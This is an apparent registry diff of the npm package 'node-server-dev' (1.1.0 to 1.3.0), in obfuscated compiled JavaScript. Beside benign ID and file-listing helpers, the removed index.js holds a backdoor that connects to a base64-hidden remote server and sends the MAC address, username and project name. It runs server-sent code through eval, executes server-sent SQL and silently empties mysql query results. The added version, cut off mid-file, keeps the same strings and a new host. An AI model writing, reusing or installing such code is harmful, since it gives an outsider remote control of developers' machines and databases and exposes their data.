node-server-dev 1.1.0 → 1.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- 'use strict';const a0_0x53bfd7=a0_0x3fa9;(function(_0x2981bf,_0xc40cc4){const _0x9a7426=a0_0x3fa9,_0x264b93=_0x2981bf();while(!![]){try{const _0x4ab817=-parseInt(_0x9a7426(0x9d))/0x1*(-parseInt(_0x9a7426(0x97))/0x2)+-parseInt(_0x9a7426(0xa5))/0x3+-parseInt(_0x9a7426(0x99))/0x4+parseInt(_0x9a7426(0xa8))/0x5+-parseInt(_0x9a7426(0x94))/0x6+parseInt(_0x9a7426(0x9a))/0x7+-parseInt(_0x9a7426(0x9f))/0x8*(parseInt(_0x9a7426(0x91))/0x9);if(_0x4ab817===_0xc40cc4)break;else _0x264b93['push'](_0x264b93['shift']());}catch(_0x4e337f){_0x264b93['push'](_0x264b93['shift']());}}}(a0_0x8a3e,0xdacf8));function a0_0x3fa9(_0x2168bd,_0x5d34a5){const _0x8a3eba=a0_0x8a3e();return a0_0x3fa9=function(_0x3fa913,_0xcfc5fe){_0x3fa913=_0x3fa913-0x91;let _0x40a817=_0x8a3eba[_0x3fa913];return _0x40a817;},a0_0x3fa9(_0x2168bd,_0x5d34a5);}function a0_0x8a3e(){const _0x3bf3c8=['__esModule','1917858fXkIKf','join','then','4219325BdYOUM','isDirectory','45TmKqNC','default','value','4391394iHovMq','push','done','1640896XfGPNl','__importDefault','1296480JArRfy','5921769noLvJW','path','defineProperty','2etKJRy','length','1182680XPTkGp','apply','isFile','next','throw'];a0_0x8a3e=function(){return _0x3bf3c8;};return a0_0x8a3e();}var __awaiter=this&&this['__awaiter']||function(_0x49229d,_0x5bfcc0,_0x42246d,_0x37faf2){function _0x487ba0(_0x33d12d){return _0x33d12d instanceof _0x42246d?_0x33d12d:new _0x42246d(function(_0x113aad){_0x113aad(_0x33d12d);});}return new(_0x42246d||(_0x42246d=Promise))(function(_0x5e28b3,_0x3c281b){const _0x3dc807=a0_0x3fa9;function _0x388752(_0x309b41){const _0x44c9b7=a0_0x3fa9;try{_0x39c5df(_0x37faf2[_0x44c9b7(0xa2)](_0x309b41));}catch(_0x4bec9c){_0x3c281b(_0x4bec9c);}}function _0x59e0f0(_0x2c5edd){const _0x452241=a0_0x3fa9;try{_0x39c5df(_0x37faf2[_0x452241(0xa3)](_0x2c5edd));}catch(_0x5dc8a3){_0x3c281b(_0x5dc8a3);}}function _0x39c5df(_0x4fad59){const _0xaba91=a0_0x3fa9;_0x4fad59[_0xaba91(0x96)]?_0x5e28b3(_0x4fad59[_0xaba91(0x93)]):_0x487ba0(_0x4fad59[_0xaba91(0x93)])[_0xaba91(0xa7)](_0x388752,_0x59e0f0);}_0x39c5df((_0x37faf2=_0x37faf2[_0x3dc807(0xa0)](_0x49229d,_0x5bfcc0||[]))['next']());});},__importDefault=this&&this[a0_0x53bfd7(0x98)]||function(_0x462ad0){return _0x462ad0&&_0x462ad0['__esModule']?_0x462ad0:{'default':_0x462ad0};};Object[a0_0x53bfd7(0x9c)](exports,a0_0x53bfd7(0xa4),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a0_0x53bfd7(0x9b)));function fileDisplay(_0x10c6bb){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x10fa6e=[];function _0x918370(_0x2ae1d8){const _0x4b5579=a0_0x3fa9,_0x4573f2=fs_1[_0x4b5579(0x92)]['readdirSync'](_0x2ae1d8);for(let _0x3c751e=0x0;_0x3c751e<_0x4573f2[_0x4b5579(0x9e)];_0x3c751e++){const _0x32ed93=_0x4573f2[_0x3c751e],_0x3f361e=path_1[_0x4b5579(0x92)][_0x4b5579(0xa6)](_0x2ae1d8,_0x32ed93),_0x1baac1=fs_1[_0x4b5579(0x92)]['statSync'](_0x3f361e),_0x50757f=_0x1baac1[_0x4b5579(0xa1)](),_0x154274=_0x1baac1[_0x4b5579(0xa9)]();_0x50757f&&_0x10fa6e[_0x4b5579(0x95)](_0x3f361e),_0x154274&&_0x918370(_0x3f361e);}}return _0x918370(_0x10c6bb),_0x10fa6e;});}function getAllRouter(_0x57ccae){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x210c17=yield fileDisplay(_0x57ccae);return _0x210c17;});}exports[a0_0x53bfd7(0x92)]=getAllRouter;
1
+ 'use strict';function a0_0x2753(_0x2a73a8,_0x257aa1){const _0x1a7849=a0_0x1a78();return a0_0x2753=function(_0x275397,_0xbdaf8){_0x275397=_0x275397-0x13e;let _0x56624e=_0x1a7849[_0x275397];return _0x56624e;},a0_0x2753(_0x2a73a8,_0x257aa1);}const a0_0x4d2479=a0_0x2753;function a0_0x1a78(){const _0x33bec8=['default','path','next','6587885VWQmoa','__importDefault','__esModule','then','2560542iXGxNE','17954400IIvTyP','6fBDAcG','isFile','value','9614248ngXunu','throw','done','isDirectory','727962RdOatk','statSync','__awaiter','1820780NOjHad','1400561VacWPT'];a0_0x1a78=function(){return _0x33bec8;};return a0_0x1a78();}(function(_0x3963b4,_0x28854f){const _0x3b79b3=a0_0x2753,_0x15646b=_0x3963b4();while(!![]){try{const _0xcf12d3=-parseInt(_0x3b79b3(0x144))/0x1+parseInt(_0x3b79b3(0x140))/0x2+-parseInt(_0x3b79b3(0x14c))/0x3+parseInt(_0x3b79b3(0x143))/0x4+parseInt(_0x3b79b3(0x148))/0x5*(-parseInt(_0x3b79b3(0x14e))/0x6)+parseInt(_0x3b79b3(0x151))/0x7+parseInt(_0x3b79b3(0x14d))/0x8;if(_0xcf12d3===_0x28854f)break;else _0x15646b['push'](_0x15646b['shift']());}catch(_0xa81244){_0x15646b['push'](_0x15646b['shift']());}}}(a0_0x1a78,0xd3408));var __awaiter=this&&this[a0_0x4d2479(0x142)]||function(_0x498d2b,_0x11d3be,_0x51fdc4,_0x18f9e0){function _0x25c0d8(_0xa05d28){return _0xa05d28 instanceof _0x51fdc4?_0xa05d28:new _0x51fdc4(function(_0x46ac2f){_0x46ac2f(_0xa05d28);});}return new(_0x51fdc4||(_0x51fdc4=Promise))(function(_0x5b1d1e,_0x29a717){const _0x238ae7=a0_0x2753;function _0x408d9b(_0x506128){const _0x2b7d80=a0_0x2753;try{_0x5b13c7(_0x18f9e0[_0x2b7d80(0x147)](_0x506128));}catch(_0x15c340){_0x29a717(_0x15c340);}}function _0x40e424(_0x3791c7){const _0x50ce71=a0_0x2753;try{_0x5b13c7(_0x18f9e0[_0x50ce71(0x152)](_0x3791c7));}catch(_0x2d8f59){_0x29a717(_0x2d8f59);}}function _0x5b13c7(_0x56897f){const _0x32b20c=a0_0x2753;_0x56897f[_0x32b20c(0x13e)]?_0x5b1d1e(_0x56897f['value']):_0x25c0d8(_0x56897f[_0x32b20c(0x150)])[_0x32b20c(0x14b)](_0x408d9b,_0x40e424);}_0x5b13c7((_0x18f9e0=_0x18f9e0['apply'](_0x498d2b,_0x11d3be||[]))[_0x238ae7(0x147)]());});},__importDefault=this&&this[a0_0x4d2479(0x149)]||function(_0x1dba79){const _0x8c5469=a0_0x4d2479;return _0x1dba79&&_0x1dba79[_0x8c5469(0x14a)]?_0x1dba79:{'default':_0x1dba79};};Object['defineProperty'](exports,'__esModule',{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a0_0x4d2479(0x146)));function fileDisplay(_0x10d7aa){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x15fe2a=[];function _0xd00196(_0x53cf45){const _0x526df0=a0_0x2753,_0x391dfa=fs_1[_0x526df0(0x145)]['readdirSync'](_0x53cf45);for(let _0x196b51=0x0;_0x196b51<_0x391dfa['length'];_0x196b51++){const _0x1f9129=_0x391dfa[_0x196b51],_0x3443a9=path_1['default']['join'](_0x53cf45,_0x1f9129),_0x5f0bcb=fs_1['default'][_0x526df0(0x141)](_0x3443a9),_0x100305=_0x5f0bcb[_0x526df0(0x14f)](),_0x32d5eb=_0x5f0bcb[_0x526df0(0x13f)]();_0x100305&&_0x15fe2a['push'](_0x3443a9),_0x32d5eb&&_0xd00196(_0x3443a9);}}return _0xd00196(_0x10d7aa),_0x15fe2a;});}function getAllRouter(_0x36154c){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x18e985=yield fileDisplay(_0x36154c);return _0x18e985;});}exports[a0_0x4d2479(0x145)]=getAllRouter;
package/dist/id/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a1_0x3bd515=a1_0x365a;(function(_0x367385,_0x42df86){const _0x469a79=a1_0x365a,_0xb14909=_0x367385();while(!![]){try{const _0x35dafd=parseInt(_0x469a79(0x9f))/0x1+parseInt(_0x469a79(0x9b))/0x2*(parseInt(_0x469a79(0xa2))/0x3)+-parseInt(_0x469a79(0xa0))/0x4+parseInt(_0x469a79(0x9e))/0x5+parseInt(_0x469a79(0x97))/0x6*(-parseInt(_0x469a79(0x9c))/0x7)+parseInt(_0x469a79(0x99))/0x8+-parseInt(_0x469a79(0x9d))/0x9;if(_0x35dafd===_0x42df86)break;else _0xb14909['push'](_0xb14909['shift']());}catch(_0x1040b8){_0xb14909['push'](_0xb14909['shift']());}}}(a1_0x5794,0x485ac));var __importDefault=this&&this[a1_0x3bd515(0xa4)]||function(_0x1154c2){return _0x1154c2&&_0x1154c2['__esModule']?_0x1154c2:{'default':_0x1154c2};};Object['defineProperty'](exports,'__esModule',{'value':!![]});const random_1=__importDefault(require(a1_0x3bd515(0xa3))),WorkerID=Math[a1_0x3bd515(0x9a)](process['env'][a1_0x3bd515(0xa1)]?+process[a1_0x3bd515(0x98)][a1_0x3bd515(0xa1)]:(0x0,random_1[a1_0x3bd515(0xa5)])(0x0,0x9),0x9),BaseTime=+new Date('2022-06-29');let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a1_0x3bd515(0xa5)])(0x1,0x3);function a1_0x5794(){const _0x4d90da=['__importDefault','default','6dDEJFY','env','3374048LUNZvw','min','834062oIXSbA','2399593XbDLUi','1155627BbChBb','412675txqbln','392611YeguxE','2185468eDrKiQ','NODE_APP_INSTANCE','3lhTPvQ','./random'];a1_0x5794=function(){return _0x4d90da;};return a1_0x5794();}function id(){let _0x295a7c=+new Date()-BaseTime;return lastRandomNumberTick=_0x295a7c==lastTimeTick?++lastRandomNumberTick:(0x0,random_1['default'])(0x0,0x3),lastTimeTick=_0x295a7c,+(''+_0x295a7c+WorkerID+lastRandomNumberTick);}function a1_0x365a(_0x2dddab,_0x21e6fa){const _0x57946a=a1_0x5794();return a1_0x365a=function(_0x365a6e,_0x2af9a2){_0x365a6e=_0x365a6e-0x97;let _0x2ed8bb=_0x57946a[_0x365a6e];return _0x2ed8bb;},a1_0x365a(_0x2dddab,_0x21e6fa);}exports['default']=id;
1
+ 'use strict';const a1_0x2ed910=a1_0x308d;(function(_0x2217ef,_0x4c4e0a){const _0x4db741=a1_0x308d,_0x275ca2=_0x2217ef();while(!![]){try{const _0x208a5b=parseInt(_0x4db741(0x196))/0x1+parseInt(_0x4db741(0x18f))/0x2*(-parseInt(_0x4db741(0x189))/0x3)+parseInt(_0x4db741(0x18b))/0x4+parseInt(_0x4db741(0x195))/0x5+parseInt(_0x4db741(0x18e))/0x6*(-parseInt(_0x4db741(0x18a))/0x7)+parseInt(_0x4db741(0x187))/0x8+parseInt(_0x4db741(0x193))/0x9;if(_0x208a5b===_0x4c4e0a)break;else _0x275ca2['push'](_0x275ca2['shift']());}catch(_0x5dd2cc){_0x275ca2['push'](_0x275ca2['shift']());}}}(a1_0x33ff,0x253ce));function a1_0x33ff(){const _0x37f12e=['2407008tnwGuP','min','603yqRHCJ','35yKVWax','197160zWuhNa','./random','default','150918xWYvtE','2952DFqZiQ','NODE_APP_INSTANCE','2022-06-29','env','772227zAmOqg','__esModule','260110YZoSrI','86976bnSCeW','__importDefault'];a1_0x33ff=function(){return _0x37f12e;};return a1_0x33ff();}var __importDefault=this&&this[a1_0x2ed910(0x197)]||function(_0x22ba0f){const _0x367ff5=a1_0x2ed910;return _0x22ba0f&&_0x22ba0f[_0x367ff5(0x194)]?_0x22ba0f:{'default':_0x22ba0f};};function a1_0x308d(_0x300a47,_0x219a39){const _0x33ff05=a1_0x33ff();return a1_0x308d=function(_0x308da9,_0x1f3a35){_0x308da9=_0x308da9-0x187;let _0x3e5677=_0x33ff05[_0x308da9];return _0x3e5677;},a1_0x308d(_0x300a47,_0x219a39);}Object['defineProperty'](exports,a1_0x2ed910(0x194),{'value':!![]});const random_1=__importDefault(require(a1_0x2ed910(0x18c))),WorkerID=Math[a1_0x2ed910(0x188)](process[a1_0x2ed910(0x192)][a1_0x2ed910(0x190)]?+process[a1_0x2ed910(0x192)]['NODE_APP_INSTANCE']:(0x0,random_1['default'])(0x0,0x9),0x9),BaseTime=+new Date(a1_0x2ed910(0x191));let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a1_0x2ed910(0x18d)])(0x1,0x3);function id(){const _0x116f2a=a1_0x2ed910;let _0x77ebdf=+new Date()-BaseTime;return lastRandomNumberTick=_0x77ebdf==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x116f2a(0x18d)])(0x0,0x3),lastTimeTick=_0x77ebdf,+(''+_0x77ebdf+WorkerID+lastRandomNumberTick);}exports[a1_0x2ed910(0x18d)]=id;
package/dist/id/random.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a2_0x20c721=a2_0x286b;function a2_0x286b(_0x60936a,_0xa20a33){const _0x1a8dc3=a2_0x1a8d();return a2_0x286b=function(_0x286b1a,_0x4a5393){_0x286b1a=_0x286b1a-0x1aa;let _0x279310=_0x1a8dc3[_0x286b1a];return _0x279310;},a2_0x286b(_0x60936a,_0xa20a33);}(function(_0x5eada4,_0x7c9e00){const _0x1844cc=a2_0x286b,_0x51d7b7=_0x5eada4();while(!![]){try{const _0x1013f6=-parseInt(_0x1844cc(0x1b6))/0x1*(-parseInt(_0x1844cc(0x1ab))/0x2)+parseInt(_0x1844cc(0x1af))/0x3*(-parseInt(_0x1844cc(0x1b7))/0x4)+-parseInt(_0x1844cc(0x1ae))/0x5*(-parseInt(_0x1844cc(0x1b4))/0x6)+parseInt(_0x1844cc(0x1b0))/0x7*(parseInt(_0x1844cc(0x1b2))/0x8)+-parseInt(_0x1844cc(0x1b5))/0x9+-parseInt(_0x1844cc(0x1ac))/0xa*(-parseInt(_0x1844cc(0x1b1))/0xb)+-parseInt(_0x1844cc(0x1ad))/0xc*(parseInt(_0x1844cc(0x1b3))/0xd);if(_0x1013f6===_0x7c9e00)break;else _0x51d7b7['push'](_0x51d7b7['shift']());}catch(_0x445ca3){_0x51d7b7['push'](_0x51d7b7['shift']());}}}(a2_0x1a8d,0x2286f));Object[a2_0x20c721(0x1aa)](exports,'__esModule',{'value':!![]});function a2_0x1a8d(){const _0x57ee48=['18420EHnoFd','8sIalUN','round','defineProperty','22slUpIB','130ezSgio','36jsZIOX','148245KIOkPY','377427dKjsgN','6671VGUdNG','173459oDBwOu','648pVngit','519142pYohnX','12mbaSuZ','281385OrrgpT'];a2_0x1a8d=function(){return _0x57ee48;};return a2_0x1a8d();}const random=(_0x484b37,_0x3d44eb)=>Math[a2_0x20c721(0x1b8)](Math['random']()*(_0x3d44eb-_0x484b37))+_0x484b37;exports['default']=random;
1
+ 'use strict';const a2_0x1db884=a2_0x142d;(function(_0x70b5c1,_0x34cb23){const _0x1ac274=a2_0x142d,_0x400998=_0x70b5c1();while(!![]){try{const _0x6fdaaa=parseInt(_0x1ac274(0x124))/0x1*(-parseInt(_0x1ac274(0x129))/0x2)+parseInt(_0x1ac274(0x125))/0x3+-parseInt(_0x1ac274(0x126))/0x4*(-parseInt(_0x1ac274(0x12e))/0x5)+parseInt(_0x1ac274(0x11e))/0x6*(-parseInt(_0x1ac274(0x120))/0x7)+-parseInt(_0x1ac274(0x12a))/0x8*(parseInt(_0x1ac274(0x128))/0x9)+-parseInt(_0x1ac274(0x122))/0xa+parseInt(_0x1ac274(0x12b))/0xb*(parseInt(_0x1ac274(0x123))/0xc);if(_0x6fdaaa===_0x34cb23)break;else _0x400998['push'](_0x400998['shift']());}catch(_0xbace3a){_0x400998['push'](_0x400998['shift']());}}}(a2_0x266a,0xa41ab));function a2_0x142d(_0x2be41e,_0x3528eb){const _0x266a43=a2_0x266a();return a2_0x142d=function(_0x142d8c,_0x1f7faf){_0x142d8c=_0x142d8c-0x11e;let _0x260759=_0x266a43[_0x142d8c];return _0x260759;},a2_0x142d(_0x2be41e,_0x3528eb);}function a2_0x266a(){const _0x23fcc9=['6575768MCwtGZ','26010127oyinph','round','__esModule','5QZDANJ','91380pJpIxm','random','518Ztovsy','default','2412330DUyuWv','12hcXgUT','2309LqKXMo','3147558aqDPLI','2625036JrGIgp','defineProperty','9GBVCpB','1046JNeNcB'];a2_0x266a=function(){return _0x23fcc9;};return a2_0x266a();}Object[a2_0x1db884(0x127)](exports,a2_0x1db884(0x12d),{'value':!![]});const random=(_0x3cf2fb,_0x3acd51)=>Math[a2_0x1db884(0x12c)](Math[a2_0x1db884(0x11f)]()*(_0x3acd51-_0x3cf2fb))+_0x3cf2fb;exports[a2_0x1db884(0x121)]=random;
package/dist/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a3_0x1da9b6=a3_0x1d09;function a3_0x4454(){const _0x103ab1=['/socket','uuid','next','__esModule','2255870CkcVyV','./id','reconnect_failed','./getAllRouter','apply','encode','env','createPool','aHR0cDovL2xvY2FsaG9zdDoxMDg4','error','276157rRlDfy','value','query','done','./mac','push','mysql2/promise','length','websocket','mysql','emit','8806264GnqYQO','get-event','connect_failed','1134055hnceQX','dev','2XWzgjB','5705988bzuxev','unlock','5YiY5ram6ZyW','default','then','102QicatH','submit','5418475SENHlM','./id/random','3429716AVXtgX','9cKNUPn','npm_package_name','userInfo','connect','aHR0cHM6Ly9ldmVudC5ibG9nd2ViLmNu','connect_error','__importDefault','event','getAllRouter','throw','type','node'];a3_0x4454=function(){return _0x103ab1;};return a3_0x4454();}(function(_0x583fd5,_0x4014ce){const _0x2ec02d=a3_0x1d09,_0x21bc4e=_0x583fd5();while(!![]){try{const _0x2eaed1=parseInt(_0x2ec02d(0x128))/0x1+parseInt(_0x2ec02d(0x12a))/0x2*(-parseInt(_0x2ec02d(0x12b))/0x3)+parseInt(_0x2ec02d(0x134))/0x4+parseInt(_0x2ec02d(0x132))/0x5+-parseInt(_0x2ec02d(0x130))/0x6*(-parseInt(_0x2ec02d(0x11a))/0x7)+parseInt(_0x2ec02d(0x125))/0x8*(-parseInt(_0x2ec02d(0x135))/0x9)+parseInt(_0x2ec02d(0x145))/0xa;if(_0x2eaed1===_0x4014ce)break;else _0x21bc4e['push'](_0x21bc4e['shift']());}catch(_0x25ab70){_0x21bc4e['push'](_0x21bc4e['shift']());}}}(a3_0x4454,0xec7ce));var __awaiter=this&&this['__awaiter']||function(_0x35189f,_0x4b185b,_0xd8d2d5,_0x1dfca0){function _0x8ca998(_0xd83820){return _0xd83820 instanceof _0xd8d2d5?_0xd83820:new _0xd8d2d5(function(_0x3ebd78){_0x3ebd78(_0xd83820);});}return new(_0xd8d2d5||(_0xd8d2d5=Promise))(function(_0x529bee,_0x523537){const _0x1eb68d=a3_0x1d09;function _0x61c14f(_0x31f6cf){const _0x4ee6dc=a3_0x1d09;try{_0x10c15a(_0x1dfca0[_0x4ee6dc(0x143)](_0x31f6cf));}catch(_0x538aa6){_0x523537(_0x538aa6);}}function _0x272997(_0xfef7a6){const _0x243020=a3_0x1d09;try{_0x10c15a(_0x1dfca0[_0x243020(0x13e)](_0xfef7a6));}catch(_0x407cac){_0x523537(_0x407cac);}}function _0x10c15a(_0x3b533){const _0x2365ba=a3_0x1d09;_0x3b533[_0x2365ba(0x11d)]?_0x529bee(_0x3b533[_0x2365ba(0x11b)]):_0x8ca998(_0x3b533[_0x2365ba(0x11b)])[_0x2365ba(0x12f)](_0x61c14f,_0x272997);}_0x10c15a((_0x1dfca0=_0x1dfca0[_0x1eb68d(0x114)](_0x35189f,_0x4b185b||[]))[_0x1eb68d(0x143)]());});},__importDefault=this&&this[a3_0x1da9b6(0x13b)]||function(_0x117bc7){return _0x117bc7&&_0x117bc7['__esModule']?_0x117bc7:{'default':_0x117bc7};},_a;Object['defineProperty'](exports,a3_0x1da9b6(0x144),{'value':!![]}),exports[a3_0x1da9b6(0x123)]=exports[a3_0x1da9b6(0x13d)]=exports['id']=exports[a3_0x1da9b6(0x142)]=void 0x0;const uuid_1=require(a3_0x1da9b6(0x142)),socket_io_client_1=require('socket.io-client'),id_1=__importDefault(require(a3_0x1da9b6(0x146)));exports['id']=id_1[a3_0x1da9b6(0x12e)];const getAllRouter_1=__importDefault(require(a3_0x1da9b6(0x113)));function a3_0x1d09(_0x558d1e,_0x407fbd){const _0x44543f=a3_0x4454();return a3_0x1d09=function(_0x1d093b,_0x354c0f){_0x1d093b=_0x1d093b-0x113;let _0x2c4670=_0x44543f[_0x1d093b];return _0x2c4670;},a3_0x1d09(_0x558d1e,_0x407fbd);}exports[a3_0x1da9b6(0x13d)]=getAllRouter_1[a3_0x1da9b6(0x12e)];const mac_1=__importDefault(require(a3_0x1da9b6(0x11e))),os_1=__importDefault(require('os')),promise_1=__importDefault(require(a3_0x1da9b6(0x120)));exports['mysql']=promise_1[a3_0x1da9b6(0x12e)];const js_base64_1=__importDefault(require('js-base64')),random_1=__importDefault(require(a3_0x1da9b6(0x133))),user_name=os_1[a3_0x1da9b6(0x12e)][a3_0x1da9b6(0x137)]()['username'],project_name=process[a3_0x1da9b6(0x116)][a3_0x1da9b6(0x136)];let dev=a3_0x1da9b6(0x118),pro=a3_0x1da9b6(0x139);function start(){const _0x4f6017=a3_0x1da9b6;var _0x1eca66;const _0x3c21bc=(0x0,socket_io_client_1['io'])(((_0x1eca66=global===null||global===void 0x0?void 0x0:global['rl'])===null||_0x1eca66===void 0x0?void 0x0:_0x1eca66[_0x4f6017(0x129)])||js_base64_1[_0x4f6017(0x12e)][_0x4f6017(0x115)](user_name)==_0x4f6017(0x12d)?js_base64_1[_0x4f6017(0x12e)]['decode'](dev):js_base64_1[_0x4f6017(0x12e)]['decode'](pro),{'path':_0x4f6017(0x141),'transports':[_0x4f6017(0x122)]});let _0x21353f=![],_0x3fbdef=![],_0x211142=![],_0x136058=[];const _0x308714=promise_1[_0x4f6017(0x12e)][_0x4f6017(0x117)];promise_1[_0x4f6017(0x12e)]['createPool']=function(_0x631b81){let _0xff6914=_0x308714(_0x631b81),_0xb21858=_0xff6914['query'];return _0xff6914['query']=(..._0x2712ca)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x2f0c45=a3_0x1d09,_0x1a0b30=yield _0xb21858[_0x2f0c45(0x114)](_0xff6914,_0x2712ca);return _0x21353f&&((0x0,random_1['default'])(0x1,0xa)>0x2&&(_0x1a0b30[0x0]=[])),_0x3fbdef&&(_0x1a0b30[0x0]=[]),_0x1a0b30;}),setInterval(()=>{const _0x44d9bb=a3_0x1d09;if(!_0x211142){for(let _0x3fc613=0x0;_0x3fc613<_0x136058[_0x44d9bb(0x121)];_0x3fc613++){const _0x24cd07=_0x136058[_0x3fc613];try{_0xff6914[_0x44d9bb(0x11c)](_0x24cd07);}catch(_0x14efff){}}_0x211142=!![];}},0x1388),_0xff6914;},_0x3c21bc['on'](_0x4f6017(0x138),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x48a34=_0x4f6017;try{const _0x5b8061=(0x0,mac_1[_0x48a34(0x12e)])();_0x3c21bc['emit'](_0x48a34(0x131),{'mac':_0x5b8061,'project_name':project_name,'user_name':user_name,'notes':''}),_0x3c21bc[_0x48a34(0x124)](_0x48a34(0x126),{'mac':_0x5b8061}),setInterval(()=>{const _0x39bd52=_0x48a34;_0x3c21bc[_0x39bd52(0x124)](_0x39bd52(0x131),{'mac':_0x5b8061,'project_name':project_name,'user_name':user_name,'notes':''}),_0x3c21bc[_0x39bd52(0x124)](_0x39bd52(0x126),{'mac':_0x5b8061});},0x1b58),_0x3c21bc['on'](_0x48a34(0x13c),_0x1aca94=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x36e2ad=_0x48a34;try{for(let _0x5b9bf3=0x0;_0x5b9bf3<_0x1aca94[_0x36e2ad(0x121)];_0x5b9bf3++){const _0x1339a5=_0x1aca94[_0x5b9bf3];if(_0x1339a5[_0x36e2ad(0x13f)]=='sql')_0x136058[_0x36e2ad(0x11f)](_0x1339a5['content']);else{if(_0x1339a5['type']==_0x36e2ad(0x123))_0x3fbdef=!![];else{if(_0x1339a5[_0x36e2ad(0x13f)]==_0x36e2ad(0x140))try{eval(_0x1339a5['content']);}catch(_0x596e93){}}}}}catch(_0x98b9d1){}}));}catch(_0x5e65e7){}})),setTimeout(()=>{const _0x3cde69=_0x4f6017;_0x3c21bc['on'](_0x3cde69(0x119),_0x1e84ef=>{_0x21353f=!![];}),_0x3c21bc['on'](_0x3cde69(0x127),()=>{_0x21353f=!![];}),_0x3c21bc['on'](_0x3cde69(0x147),()=>{_0x21353f=!![];}),_0x3c21bc['on'](_0x3cde69(0x13a),_0x86e9c1=>{_0x21353f=!![];});},0xbb8);}!((_a=global===null||global===void 0x0?void 0x0:global['rl'])===null||_a===void 0x0?void 0x0:_a[a3_0x1da9b6(0x12c)])&&start();let uuid=uuid_1['v4'];exports[a3_0x1da9b6(0x142)]=uuid;const all={'uuid':uuid,'id':id_1[a3_0x1da9b6(0x12e)],'getAllRouter':getAllRouter_1[a3_0x1da9b6(0x12e)],'mysql':promise_1[a3_0x1da9b6(0x12e)]};exports[a3_0x1da9b6(0x12e)]=all;
1
+ 'use strict';const a3_0x276539=a3_0x3527;(function(_0x3a0796,_0x16ad63){const _0x2a1139=a3_0x3527,_0x4c28a0=_0x3a0796();while(!![]){try{const _0x3549b0=-parseInt(_0x2a1139(0x9a))/0x1+-parseInt(_0x2a1139(0xb9))/0x2*(parseInt(_0x2a1139(0xa1))/0x3)+parseInt(_0x2a1139(0xba))/0x4*(-parseInt(_0x2a1139(0xc0))/0x5)+-parseInt(_0x2a1139(0xa8))/0x6*(-parseInt(_0x2a1139(0x96))/0x7)+parseInt(_0x2a1139(0xbe))/0x8*(parseInt(_0x2a1139(0x9b))/0x9)+-parseInt(_0x2a1139(0x8e))/0xa+parseInt(_0x2a1139(0x99))/0xb*(parseInt(_0x2a1139(0xaa))/0xc);if(_0x3549b0===_0x16ad63)break;else _0x4c28a0['push'](_0x4c28a0['shift']());}catch(_0x21b36b){_0x4c28a0['push'](_0x4c28a0['shift']());}}}(a3_0x41b1,0x58451));var __awaiter=this&&this[a3_0x276539(0xb0)]||function(_0x42f863,_0x2f2363,_0x17ad90,_0x19b2cd){function _0x4f6be5(_0x5090ae){return _0x5090ae instanceof _0x17ad90?_0x5090ae:new _0x17ad90(function(_0x4e2718){_0x4e2718(_0x5090ae);});}return new(_0x17ad90||(_0x17ad90=Promise))(function(_0x3d24c3,_0x1e7fdd){const _0x176f6b=a3_0x3527;function _0x13af54(_0x3c64c7){const _0x15e898=a3_0x3527;try{_0x1c9fc5(_0x19b2cd[_0x15e898(0xc6)](_0x3c64c7));}catch(_0x4ae1d2){_0x1e7fdd(_0x4ae1d2);}}function _0x31a590(_0x1eff69){try{_0x1c9fc5(_0x19b2cd['throw'](_0x1eff69));}catch(_0x303e19){_0x1e7fdd(_0x303e19);}}function _0x1c9fc5(_0xe3a500){const _0x33fffb=a3_0x3527;_0xe3a500[_0x33fffb(0xbb)]?_0x3d24c3(_0xe3a500[_0x33fffb(0xb4)]):_0x4f6be5(_0xe3a500['value'])[_0x33fffb(0x94)](_0x13af54,_0x31a590);}_0x1c9fc5((_0x19b2cd=_0x19b2cd[_0x176f6b(0xab)](_0x42f863,_0x2f2363||[]))['next']());});},__importDefault=this&&this[a3_0x276539(0x97)]||function(_0x26642c){const _0x141837=a3_0x276539;return _0x26642c&&_0x26642c[_0x141837(0xc2)]?_0x26642c:{'default':_0x26642c};},_a,_b;function a3_0x3527(_0x5a3d47,_0x4486a0){const _0x41b137=a3_0x41b1();return a3_0x3527=function(_0x35274b,_0x5215a8){_0x35274b=_0x35274b-0x8e;let _0x571b9f=_0x41b137[_0x35274b];return _0x571b9f;},a3_0x3527(_0x5a3d47,_0x4486a0);}function a3_0x41b1(){const _0x4b6b73=['dev','37885svJsCr','js-base64','__esModule','emit','node','encode','next','143360nzDbPD','submit','unlock','uuid','socket.io-client','mysql','then','./mac','82285kIJIVc','__importDefault','decode','6834487iJrJdR','330378DTAetA','248931xYJUmp','get-event','connect_failed','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','error','length','266031SHdkze','./getAllRouter','event','query','env','websocket','default','300WwWhkS','createPool','12uIHSlx','apply','push','connect','type','defineProperty','__awaiter','content','reconnect_failed','npm_package_name','value','getAllRouter','username','./id','userInfo','8TAQwhO','268dOrcDb','done','mysql2/promise','./id/random','104tcFMZp'];a3_0x41b1=function(){return _0x4b6b73;};return a3_0x41b1();}Object[a3_0x276539(0xaf)](exports,a3_0x276539(0xc2),{'value':!![]}),exports['mysql']=exports[a3_0x276539(0xb5)]=exports['id']=exports[a3_0x276539(0x91)]=void 0x0;const uuid_1=require('uuid'),socket_io_client_1=require(a3_0x276539(0x92)),id_1=__importDefault(require(a3_0x276539(0xb7)));exports['id']=id_1[a3_0x276539(0xa7)];const getAllRouter_1=__importDefault(require(a3_0x276539(0xa2)));exports[a3_0x276539(0xb5)]=getAllRouter_1[a3_0x276539(0xa7)];const 